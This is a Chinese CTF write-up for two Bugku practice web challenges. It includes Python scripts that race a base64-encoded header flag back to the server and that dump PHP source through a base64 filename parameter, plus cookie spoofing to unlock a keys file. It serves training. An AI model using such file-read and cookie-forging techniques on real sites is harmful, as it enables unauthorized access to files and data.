bugku web篇

速度要快

100

速度要快!!!!!!

http://120.24.86.145:8002/web6/

格式KEY{xxxxxxxxxxxxxx}

查看源代码:

</br>我感觉你得快点!!!<!-- OK ,now you have to post the margin what you find -->

注释是没头没尾的一句话,用bp抓包,发现响应头里有flag:6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTWpjM09EY3k=

用base64解码得

跑的还不错,给你flag吧: Mjc3ODcy

再用base64解码得

277872

然后用hackbar用post方法在参数对最后增加margin=277872,却被告知还不够快,思路已经理清了,剩下的就是要快,那就只能用脚本了

import base64
import requests
url="http://120.24.86.145:8002/web6/"
s=requests.Session()
flag=s.get(url).headers['flag']
flag=base64.b64decode(flag)
flag=str(flag)
flag=flag.split(': ')[1]
flag=base64.b64decode(flag)
data={'margin':flag}
reps=s.post(url,data=data)
print(reps.content.decode('utf-8'))

 

cookies欺骗

100

http://120.24.86.145:8002/web11/

答案格式:KEY{xxxxxxxx}

打开url发现是一串字符串,尝试base64解码,md5解码都无果。

观察到url地址:http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

a2V5cy50eHQ=base64解码,得到keys.txt,知道filename的值应该是个文件名,line可能是行数。将index.php进行base64编码作为filename的值并让line=1,即http://120.24.86.145:8002/web11/index.php?line=1&filename=aW5kZXgucGhw,可以观察到返回的结果发生了改变,通过改动line的值,返回的结果也会发生改变,返回的应该是index.php的文件内容,写个脚本返回index.php的全部文件内容

import requests
a=30
for i in range(a):
    url = "http://120.24.86.145:8002/web11/index.php?filename=aW5kZXgucGhw&line=" + str(i)
    reps=requests.get(url)
    print(reps.text)
<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

 

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

 

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

分析源码,前面判断传参,后面判断cookie必须满足margin=margin才能访问keys.php

返回的结果是一片空白,查看源码得flag

猜你喜欢

转载自blog.csdn.net/Ruhe_king/article/details/82532279